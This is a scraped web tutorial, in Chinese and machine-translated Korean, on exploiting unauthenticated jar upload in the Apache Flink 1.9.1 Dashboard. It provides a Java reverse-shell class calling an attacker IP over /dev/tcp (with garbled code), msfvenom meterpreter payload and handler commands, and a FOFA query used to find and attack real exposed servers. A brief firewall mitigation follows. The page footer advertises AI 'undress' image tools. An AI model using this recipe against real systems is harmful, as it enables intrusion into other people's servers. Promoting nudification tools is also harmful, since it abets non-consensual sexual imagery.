漏洞描述:
2019年11月11号,安全工程师Henry Chen披露了一个Apache Flink未授权上传jar包导致远程代码执行的漏洞。由于Apache Flink Dashboard 默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。
影响范围
环境搭建:
(1) 提前安装好java(需要java8以上)
(2) 下载flink-1.9.1
下载地址:https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) 解压下载的压缩包:
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
(4) 进去到解压后的目录中,来到其bin目录下:
(5) 启动flink:
./start-cluster.sh
(6) 浏览器访问验证(默认端口为8081):
http://172.26.1.108:8081
出现上图即搭建成功.
(7) 设置开机自启(这里折腾了好久,一直起不来.直接source /etc/rc.d/rc.local可以启动,但是重启后并不会启动flink,最后找到了解决方法)
开机自启设置
漏洞复现:
jar包制作步骤:
(1) 参考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中给出的利用java反弹shell
记得修改ip和端口:
代码:
<p>package shell;public class Revs { <br> /** * @param args * @throws Exception */ <br> public static void main(String[] args) throws Exception { <br> // TODO Auto-generated method stub <br> Runtime r = Runtime.getRuntime(); <br> String cmd[]= {"/bin/bash","-c","exec 5/dev/tcp/192.168.1.12/9999;<br> cat &5 >&5; done"}; <br> Process p = r.exec(cmd); <br> p.waitFor();<br> }}</p><p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>
b.然后选择java-->Runnable JAR file
c.然后选择对应的java项目和导出路径以及导出文件名
图片
这样就生成了一个反弹shell的jar包
msf生成jar马:
(1) 利用msfvenom来生成一个jar马:
msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
(2) 打开msf的监听模块,并监听9999端口(要与我们jar马设置的端口一致)
use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
(3) 上传我们生成的jar马并提交后(这部分操作参考下面的复现),可以看到我们成功接收到shell:
本地复现:
(1) 访问目标:
(2) 点击Submit New job,打开上传jar包的页面:
(3) 点击Add New选择我们制作好的jar包:
(4) 我们的机器上监听好端口(我们制作的jar包是直接反弹shell的)
(5) 点击我们刚刚上传的jar包:
(6) 然后点击Submit即可,可以看到我们已经成功接收到了shell:
互联网站点:
fofa关键词:
"apache-flink-dashboard" && country="US"
(1) 임의의 대상 찾기:
(2) 새 작업 제출을 클릭하면 jar 패키지를 업로드할 수 있는 것을 볼 수 있습니다.
(3) flink 기능을 사용하여 jar 패키지를 업로드합니다. Jar 패키지 업로드:
(4) 업로드한 후 vps에서 포트를 모니터링합니다
(5) 그런 다음 브라우저로 돌아가서 방금 업로드한 jar 패키지를 선택하고 제출을 클릭하여 제출합니다. 우리 vps가 쉘을 성공적으로 수신한 것을 볼 수 있습니다
버그 수정:
화이트리스트 IP만 Apache Flink 서비스에 액세스하도록 방화벽 정책을 설정하고 웹에서 이 서비스에 대한 지원을 추가하는 것이 좋습니다. 프록시(예: Apache httpd) 다이제스트 인증.
항상 공식 홈페이지를 주의깊게 살펴보시고 새로운 버전이나 패치 업데이트를 기다려주세요
위 내용은 Apache flink에 jar 패키지를 업로드하여 발생하는 원격 코드 실행 분석 예의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

Video Face Swap
완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

인기 기사

뜨거운 도구

SublimeText3 영어 버전
권장 사항: Win 버전, 코드 프롬프트 지원!

ZendStudio 13.5.1 맥
강력한 PHP 통합 개발 환경

MinGW - Windows용 미니멀리스트 GNU
이 프로젝트는 osdn.net/projects/mingw로 마이그레이션되는 중입니다. 계속해서 그곳에서 우리를 팔로우할 수 있습니다. MinGW: GCC(GNU Compiler Collection)의 기본 Windows 포트로, 기본 Windows 애플리케이션을 구축하기 위한 무료 배포 가능 가져오기 라이브러리 및 헤더 파일로 C99 기능을 지원하는 MSVC 런타임에 대한 확장이 포함되어 있습니다. 모든 MinGW 소프트웨어는 64비트 Windows 플랫폼에서 실행될 수 있습니다.

Eclipse용 SAP NetWeaver 서버 어댑터
Eclipse를 SAP NetWeaver 애플리케이션 서버와 통합합니다.

Atom Editor Mac 버전 다운로드
가장 인기 있는 오픈 소스 편집기
